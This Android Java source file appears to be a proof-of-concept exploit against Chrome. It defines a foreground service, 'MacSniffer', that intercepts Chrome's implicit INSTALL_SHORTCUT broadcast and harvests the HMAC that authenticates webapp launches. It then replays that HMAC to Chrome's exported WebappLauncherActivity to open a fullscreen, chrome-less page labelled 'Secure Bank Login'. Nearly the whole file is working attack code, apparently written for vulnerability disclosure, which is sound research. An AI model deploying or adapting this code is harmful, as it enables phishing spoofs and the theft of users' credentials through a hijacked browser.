package com.example.macsniffer;

import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Build;
import android.os.Bundle;
import android.os.IBinder;
import android.util.Log;

/**
 * Foreground service that registers a *runtime* receiver for
 * "com.android.launcher.action.INSTALL_SHORTCUT".
 *
 * Chrome's WebappsUtils.addShortcutToHomescreen() falls back to:
 *     ContextUtils.getApplicationContext().sendBroadcast(intent);   // line 88
 * with no setPackage() / no receiverPermission when the default launcher returns
 * ShortcutManager.isRequestPinShortcutSupported() == false.
 *
 * On API 26+ that implicit broadcast is delivered to ALL runtime-registered receivers,
 * including this one. The wrapped EXTRA_SHORTCUT_INTENT contains the per-install
 * HMAC-SHA256(secret, url) that Chrome uses to authenticate WebappLauncherActivity.
 */
public class SnifferService extends Service {
    private static final String TAG = "MacSniffer";

    // Action Chrome broadcasts on the legacy fallback path.
    private static final String INSTALL_SHORTCUT =
            "com.android.launcher.action.INSTALL_SHORTCUT";

    // Chrome's webapp intent extras (from WebappConstants.java).
    private static final String EXTRA_ID    = "org.chromium.chrome.browser.webapp_id";
    private static final String EXTRA_URL   = "org.chromium.chrome.browser.webapp_url";
    private static final String EXTRA_MAC   = "org.chromium.chrome.browser.webapp_mac";
    private static final String EXTRA_SCOPE = "org.chromium.chrome.browser.webapp_scope";
    private static final String EXTRA_NAME  = "org.chromium.chrome.browser.webapp_name";
    private static final String EXTRA_SHORT_NAME =
            "org.chromium.chrome.browser.webapp_short_name";
    private static final String EXTRA_ICON  = "org.chromium.chrome.browser.webapp_icon";
    private static final String EXTRA_DISPLAY_MODE =
            "org.chromium.chrome.browser.webapp_display_mode";
    private static final String EXTRA_THEME_COLOR =
            "org.chromium.chrome.browser.theme_color";
    private static final String EXTRA_VERSION =
            "org.chromium.chrome.browser.webapp_shortcut_version";
    private static final String EXTRA_SOURCE =
            "org.chromium.chrome.browser.webapp_source";

    // Chrome's exported launcher activity + action (WebappLauncherActivity.java).
    private static final String ACTION_START_WEBAPP =
            "com.google.android.apps.chrome.webapps.WebappManager.ACTION_START_WEBAPP";
    private static final String WEBAPP_LAUNCHER =
            "org.chromium.chrome.browser.webapps.WebappLauncherActivity";

    // blink.mojom.DisplayMode.kFullscreen == 4.
    private static final int DISPLAY_MODE_FULLSCREEN = 4;

    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent outer) {
            Log.e(TAG, "==============================================================");
            Log.e(TAG, "[LEAK] Captured implicit INSTALL_SHORTCUT broadcast from Chrome");
            Log.e(TAG, "==============================================================");

            Intent inner = outer.getParcelableExtra(Intent.EXTRA_SHORTCUT_INTENT);
            if (inner == null) {
                Log.e(TAG, "No EXTRA_SHORTCUT_INTENT (not the Chrome webapp path)");
                return;
            }

            String id    = inner.getStringExtra(EXTRA_ID);
            String url   = inner.getStringExtra(EXTRA_URL);
            String mac   = inner.getStringExtra(EXTRA_MAC);
            String scope = inner.getStringExtra(EXTRA_SCOPE);
            String name  = inner.getStringExtra(EXTRA_NAME);

            Log.e(TAG, "  inner.action  = " + inner.getAction());
            Log.e(TAG, "  EXTRA_ID      = " + id);
            Log.e(TAG, "  EXTRA_URL     = " + url);
            Log.e(TAG, "  EXTRA_SCOPE   = " + scope);
            Log.e(TAG, "  EXTRA_NAME    = " + name);
            Log.e(TAG, "  EXTRA_MAC     = " + mac
                    + "   <-- HMAC-SHA256(chrome_secret, url), leaked");

            Bundle extras = inner.getExtras();
            if (extras != null) {
                for (String k : extras.keySet()) {
                    Log.e(TAG, "  raw extra: " + k + " = " + extras.get(k));
                }
            }

            if (url != null && mac != null) {
                chainToWebappLauncher(context, id, url, scope, mac);
            }
        }
    };

    /**
     * Chain step: replay the harvested (url, mac) pair against Chrome's exported
     * WebappLauncherActivity with attacker-controlled NAME / ICON / DISPLAY_MODE.
     * isValidMacForUrl() at WebappLauncherActivity.java:257-258 only checks (url, mac),
     * so the spoofed extras pass through and Chrome opens the attacker URL in a
     * chrome-less fullscreen WebappActivity with attacker-chosen task label.
     */
    private void chainToWebappLauncher(Context ctx, String id, String url,
                                       String scope, String mac) {
        // Adjust to the Chrome build under test if needed
        // (com.android.chrome / com.chrome.canary / org.chromium.chrome).
        String chromePkg = "org.chromium.chrome";

        Intent spoof = new Intent(ACTION_START_WEBAPP);
        spoof.setClassName(chromePkg, WEBAPP_LAUNCHER);
        spoof.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

        spoof.putExtra(EXTRA_ID, id != null ? id : "webapp-spoofed");
        spoof.putExtra(EXTRA_URL, url);          // must match MAC
        spoof.putExtra(EXTRA_MAC, mac);          // harvested secret -> auth gate passes
        spoof.putExtra(EXTRA_SCOPE, scope != null ? scope : url);
        spoof.putExtra(EXTRA_VERSION, 3);        // WEBAPP_SHORTCUT_VERSION
        spoof.putExtra(EXTRA_SOURCE, 0);

        // Attacker-controlled, NOT covered by the MAC:
        spoof.putExtra(EXTRA_NAME, "Secure Bank Login");
        spoof.putExtra(EXTRA_SHORT_NAME, "Bank");
        spoof.putExtra(EXTRA_DISPLAY_MODE, DISPLAY_MODE_FULLSCREEN);
        spoof.putExtra(EXTRA_THEME_COLOR, 0xFF0033A0L);
        // EXTRA_ICON: base64-encoded attacker bitmap; omitted here for brevity, but
        // WebappIntentDataProviderFactory hardcodes isTrusted=true and would feed it
        // straight to BitmapFactory.decodeByteArray.

        Log.e(TAG, "[CHAIN] Launching WebappLauncherActivity with harvested MAC -> "
                + "fullscreen chrome-less spoof of " + url);
        try {
            ctx.startActivity(spoof);
        } catch (Exception e) {
            Log.e(TAG, "startActivity failed (check chromePkg): " + e);
        }
    }

    @Override
    public void onCreate() {
        super.onCreate();
        startForeground(1, buildNotification());

        IntentFilter f = new IntentFilter(INSTALL_SHORTCUT);
        if (Build.VERSION.SDK_INT >= 33) {
            registerReceiver(mReceiver, f, Context.RECEIVER_EXPORTED);
        } else {
            registerReceiver(mReceiver, f);
        }
        Log.e(TAG, "Runtime receiver registered for " + INSTALL_SHORTCUT);
    }

    @Override
    public void onDestroy() {
        try { unregisterReceiver(mReceiver); } catch (Exception ignored) {}
        super.onDestroy();
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        return START_STICKY;
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    private Notification buildNotification() {
        String chan = "sniffer";
        NotificationManager nm = getSystemService(NotificationManager.class);
        nm.createNotificationChannel(
                new NotificationChannel(chan, "sniffer", NotificationManager.IMPORTANCE_LOW));
        return new Notification.Builder(this, chan)
                .setContentTitle("MacSniffer running")
                .setSmallIcon(android.R.drawable.ic_dialog_info)
                .build();
    }
}
